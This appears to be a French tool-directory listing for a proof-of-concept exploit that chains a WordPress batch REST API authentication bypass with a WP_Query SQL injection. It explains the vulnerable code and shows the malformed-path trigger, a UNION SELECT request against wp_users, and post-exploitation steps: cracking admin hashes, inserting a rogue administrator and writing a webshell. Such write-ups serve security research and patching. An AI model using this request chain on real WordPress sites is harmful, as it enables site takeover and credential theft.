Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-63030-CVE-2026-60137 — PoC de RCE pré-authentification enchaînant un contournement d'authentification de l'API REST batch de WordPress avec une injection SQL via WP_Query pour extraire les hashes, ajouter des utilisateurs administrateurs ou implanter un webshell. | Kitploit
Outils/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationContournement de WAFSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

PoC de RCE pré-authentification enchaînant un contournement d'authentification de l'API REST batch de WordPress avec une injection SQL via WP_Query pour extraire les hashes, ajouter des utilisateurs administrateurs ou implanter un webshell.

Voir le dépôt
23il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

wp2shell

PoC RCE pré-authentification - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Pour les tests d'intrusion et la recherche en sécurité autorisés uniquement. L'exécution de ceci contre des systèmes sans autorisation écrite est illégale. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.


Aperçu

wp2shell est un exploit de preuve de concept qui enchaîne deux vulnérabilités signalées indépendamment pour obtenir une exécution de code à distance non authentifiée sur des installations WordPress non corrigées.

CVEComposantClasseAuthentification requise
CVE-2026-63030API REST Batch (WP_REST_Server)Désynchronisation de tableau → contournement d'authentificationAucune
CVE-2026-60137WP_QueryInjection SQL via author__not_inAucune (contournée par ce qui précède)

Le résultat final : un shell sur la machine, un compte administrateur malveillant, ou un hash d'identifiants extrait — le tout à partir d'une seule requête POST non authentifiée.

Versions affectées : WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corrigé dans : WordPress 6.9.5 / 7.0.2 (correctif publié en même temps que la divulgation coordonnée)


Analyse des vulnérabilités

CVE-2026-63030 — Désynchronisation de tableau de l'API REST Batch (contournement d'authentification)

Contexte

WordPress 5.6 a introduit le point de terminaison de traitement par lots à /wp-json/batch/v1. Il permet aux clients REST authentifiés de regrouper plusieurs sous-requêtes en un seul aller-retour HTTP. Chaque sous-requête est validée et distribuée indépendamment par WP_REST_Server::serve_batch_request_v1().

Le chemin de code vulnérable

À l'intérieur de serve_batch_request_v1() (simplifié) :

$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Pourquoi cela casse

Les deux tableaux ($responses et $matches) sont censés rester synchronisés — une entrée par sous-requête, au même index. Lorsque la sous-requête [0] échoue à wp_parse_url(), elle ajoute une entrée à $responses mais pas à $matches. Après la première boucle :

$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

La boucle 2 distribue alors $matches[0] et écrit le résultat dans $responses[0]. Elle distribue request[1] mais écrase l'index 0 dans les réponses — et surtout, elle utilise le contexte de permission qui a été calculé dans le cadre de la gestion d'erreur de la requête[0] échouée, et non le contexte de permission du point de terminaison cible.

L'effet pratique : tout point de terminaison qui nécessite une authentification (y compris les points de terminaison qui effectuent des requêtes SQL) peut être appelé sans identifiants.

Le déclencheur

"path": "://\x00"   # triggers wp_parse_url() → false

La chaîne ://\x00 est une chaîne Python valide mais une URL invalide dans le wrapper wp_parse_url() de PHP (l'octet nul fait échouer l'analyse, renvoyant false plutôt qu'un WP_Error, ce qui rend la garde is_wp_error() inutile — seul $parsed === false l'attrape, et l'alignement du tableau est déjà cassé à ce stade).


CVE-2026-60137 — Injection SQL author__not_in de WP_Query

Contexte

L'API REST de WordPress pour les articles (/wp/v2/posts) expose un paramètre de requête author_exclude qui correspond directement à l'argument author__not_in de WP_Query. WP_Query est l'abstraction de base de données centrale utilisée pour presque toutes les requêtes de contenu dans WordPress.

Le chemin de code vulnérable

Dans WP_Query::parse_query() (simplifié) :

$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Plus loin dans WP_Query::get_posts() :

if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Pourquoi cela casse

L'assainissement ne se déclenche que lorsque $author__not_in est un tableau. Le système de types de PHP détermine cela en fonction de la façon dont la valeur est arrivée :

  • Corps JSON avec tableau → PHP reçoit [1, 2, 3] → is_array() = true → assaini
  • Chaîne de requête URL → PHP reçoit "1,2,3" (une chaîne) → is_array() = false → non assaini

Le point de terminaison REST accepte author_exclude depuis la chaîne de requête URL. Il arrive sous forme de chaîne. WP_Query saute le bloc d'assainissement, et la valeur brute est interpolée dans la clause SQL WHERE.

Exploitation

Le point d'injection se situe dans un contexte NOT IN (...) :

-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Comme le point de terminaison batch distribue la sous-requête dans le cadre d'un résultat de requête plus large, les lignes UNION sont renvoyées dans le corps de la réponse JSON REST, ce qui en fait une extraction Boolean/UNION sans aveuglement — pas de timing, pas de canal hors bande nécessaire.


Chaîne d'exploitation

Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

Prérequis

Python >= 3.8
requests
cloudscraper
Télécharger l’outil